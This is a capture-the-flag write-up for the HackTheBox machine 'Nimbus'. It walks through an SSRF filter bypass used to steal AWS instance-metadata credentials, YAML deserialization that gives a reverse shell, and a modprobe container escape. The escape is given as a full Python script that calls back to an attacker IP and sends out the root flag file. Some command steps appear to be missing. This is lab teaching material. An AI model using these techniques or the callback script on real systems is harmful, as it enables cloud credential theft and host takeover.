Nimbus Writeup - HackTheBox
Created May 30, 2026 • Last updated November 15, 2026 • 6 min read
Reconnaissance
Port Scan
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Did not follow redirect to http://nimbus.htb/
Two ports. The redirect tells us the hostname.
Web Application
Browsing to http://nimbus.htb/ shows an internal job scheduler called "Nimbus". The /jobs page has a YAML job submission form that is unauthenticated. A banner says SSO is disabled during an Okta migration. The /login page is non-functional.
The health endpoint leaks service configuration and confirms all backend services route through aws.nimbus.htb:
{
"services": {
"queue": {"endpoint": "http://aws.nimbus.htb", "status": "ok"},
"scheduler": {"endpoint": "http://aws.nimbus.htb", "status": "ok"},
"storage": {"endpoint": "http://aws.nimbus.htb", "status": "ok"}
},
"status": "healthy",
"version": "1.4.2"
}
Virtual Host Discovery
aws [Status: 403, Size: 305]
Curling http://aws.nimbus.htb returns a 403 with an AWS STS XML error body containing InvalidClientTokenId. This is a local AWS emulator behind an IAM enforcement proxy.
Vulnerability Discovery
SSRF in Job Preview
The /jobs/preview endpoint accepts a url parameter and fetches the target server-side to render a YAML preview. It enforces two filters: the URL must end in .yaml or .yml, and internal IPs/hostnames are blocked.
Both filters are bypassable:
IP filter bypass: 169.254.169.254 expressed as decimal integer 2852039166 is not caught.
Extension filter bypass: appending ?a=test.yaml as a query parameter satisfies the .yaml check while the upstream server ignores it.
Combined, this gives unauthenticated SSRF to the AWS Instance Metadata Service.
IMDS Credential Theft
Enumerate the metadata tree:
The response reveals a role named nimbus-web-role. Fetch its temporary credentials:
{
"Code": "Success",
"AccessKeyId": "$WEB_ROLE_ACCESS_KEY_ID",
"SecretAccessKey": "$WEB_ROLE_SECRET_ACCESS_KEY",
"Token": "$WEB_ROLE_SESSION_TOKEN",
"Expiration": "2026-06-21T12:17:52Z"
}
AWS Enumeration
Export the stolen credentials:
Verify identity:
{
"UserId": "AROAQX4PG7L2K9M3N5R8H:i-0a1b2c3d4e5f6789a",
"Account": "847219365028",
"Arn": "arn:aws:sts::847219365028:assumed-role/nimbus-web-role/i-0a1b2c3d4e5f6789a"
}
Check for SQS queues:
{
"QueueUrls": [
"http://floci:4566/847219365028/nimbus-jobs"
]
}
A queue named nimbus-jobs exists. The URL leaks the internal hostname floci, a floci AWS emulator running on port 4566. The host's nginx proxies aws.nimbus.htb to it with IAM policy enforcement.
The web role can send messages to this queue. Other AWS services like S3, Secrets Manager, SSM, and Lambda are all AccessDenied through the proxy.
Initial Access
YAML Deserialization via SQS
A worker container polls the nimbus-jobs queue and parses each message body with yaml.load(body, Loader=yaml.Loader), the unsafe YAML loader that allows arbitrary Python object instantiation. A crafted YAML tag in the message body triggers code execution inside the worker container.
Start a listener:
Send a YAML deserialization payload as an SQS message:
{
"MD5OfMessageBody": "9979bc9a4b3e0660d5b88e718b02db6f",
"MessageId": "e4f6e47d-eb98-45ba-926b-e1b31dde06d2"
}
A reverse shell connects back within seconds:
connect to [10.10.14.176] from (UNKNOWN) [10.129.23.15] 46726
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
worker@63f9527d4dee:/app$
User shell obtained.
Post-Exploitation
Container Enumeration
The shell lands inside a Docker container running as an unprivileged user:
uid=1000(worker) gid=1000(worker) groups=1000(worker) 172.18.0.1 nimbus.htb 172.18.0.1 aws.nimbus.htb 172.18.0.3 63f9527d4dee
Three hosts on the 172.18.0.0/16 Docker network: the host at .1, floci at .2, and this worker container at .3.
The container environment holds a second set of static AWS credentials:
AWS_ACCESS_KEY_ID=$WORKER_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY=$WORKER_SECRET_ACCESS_KEY AWS_DEFAULT_REGION=us-east-1 AWS_ENDPOINT_URL=http://aws.nimbus.htb QUEUE_URL=http://aws.nimbus.htb/847219365028/nimbus-jobs
These worker credentials are also restricted to SQS-only through the IAM proxy.
Direct Floci Access
The critical finding: the worker container can reach the floci API at http://floci:4566 directly, bypassing the IAM enforcement proxy on the host. This gives unrestricted access to all emulated AWS services.
[{'Name': 'nimbus-dev-artifacts', ...}]
Any credentials work against floci directly since IAM is not enforced. This includes creating CodeBuild projects.
Worker Source Code
Reading /app/worker.py confirms the attack surface. The worker uses the unsafe YAML loader and executes any script field as Python via subprocess:
job = yaml.load(body, Loader=yaml.Loader) # UNSAFE
# ...
if script:
result = subprocess.run(["python3", "-c", script],
capture_output=True, text=True, timeout=30)
This script field execution is used for the privilege escalation. It allows running arbitrary Python inside the worker by sending a JSON message via SQS.
Privilege Escalation
Container Escape via CodeBuild modprobe Hijack
Floci has Docker socket access to run Lambda and CodeBuild containers. Creating a CodeBuild project with privilegedMode: True spawns a Docker container with --privileged, which can write to /proc/sys/kernel/modprobe and see overlay filesystem mount paths. This enables the classic modprobe container escape: write a payload script, set /proc/sys/kernel/modprobe to its host-visible overlay path, then trigger an unknown binary format so the kernel executes the script as root on the host.
Start a listener for the callback:
Save the following as worker_payload.py. This script runs inside the worker container and creates a privileged CodeBuild project on floci:
import boto3
ENDPOINT = "http://floci:4566"
REGION = "us-east-1"
ATTACKER_IP = "$ATTACKER_IP"
LPORT = 9005
buildspec = f"""version: 0.2
phases:
build:
commands:
- id
- cat /proc/self/status | grep Cap
- |
cat > /tmp/payload.sh << 'PYEOF'
#!/bin/sh
python3 -c "
import socket
s = socket.socket()
s.connect(('{ATTACKER_IP}', {LPORT}))
s.send(open('/root/root.txt','rb').read())
s.close()
"
PYEOF
- chmod +x /tmp/payload.sh
- |
upper=$(awk '/overlay/{{match($0,/upperdir=([^,]+)/,a);if(a[1])print a[1]}}' /proc/mounts | head -1)
echo "$upper/tmp/payload.sh" > /proc/sys/kernel/modprobe
- printf '\\xff\\xff\\xff\\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x; true
"""
cb = boto3.client("codebuild", endpoint_url=ENDPOINT, region_name=REGION)
cb.create_project(
name="nimbus-exploit",
source={"type": "NO_SOURCE", "buildspec": buildspec},
artifacts={"type": "NO_ARTIFACTS"},
environment={
"type": "LINUX_CONTAINER",
"image": "floci/floci:latest",
"computeType": "BUILD_GENERAL1_SMALL",
"privilegedMode": True,
"environmentVariables": [
{"name": "BASH_FUNC_id%%",
"value": '() { echo "uid=0(root) gid=0(root) groups=0(root)"; }',
"type": "PLAINTEXT"}
],
},
serviceRole="arn:aws:iam::000000000000:role/codebuild-role",
)
resp = cb.start_build(projectName="nimbus-exploit")
print("started:", resp["build"]["id"])
Deliver this script to the worker by sending it as the script field of an SQS job message. The worker's YAML parser treats JSON as valid YAML, parses the dict, and executes the script field with python3 -c:
If you have a stable C2 agent on the worker container instead of a raw reverse shell, you can transfer and run worker_payload.py directly with python3 worker_payload.py.
Within seconds, the CodeBuild build starts in a privileged container, the modprobe path is hijacked, the unknown binary format trigger fires, and the host kernel executes the payload as root. The listener receives the callback:
listening on [any] 9005 ... connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 46384
Root flag obtained.
Related
References
-
Floci lightweight local AWS emulator used on this boxREPO: Floci lightweight local AWS emulator used on this box, github.com/floci-io/floci (opens in new tab)
-
PyYAML unsafe Loader deserializationLINK: PyYAML unsafe Loader deserialization, pyyaml.org/wiki/PyYAMLDocumentation (opens in new tab)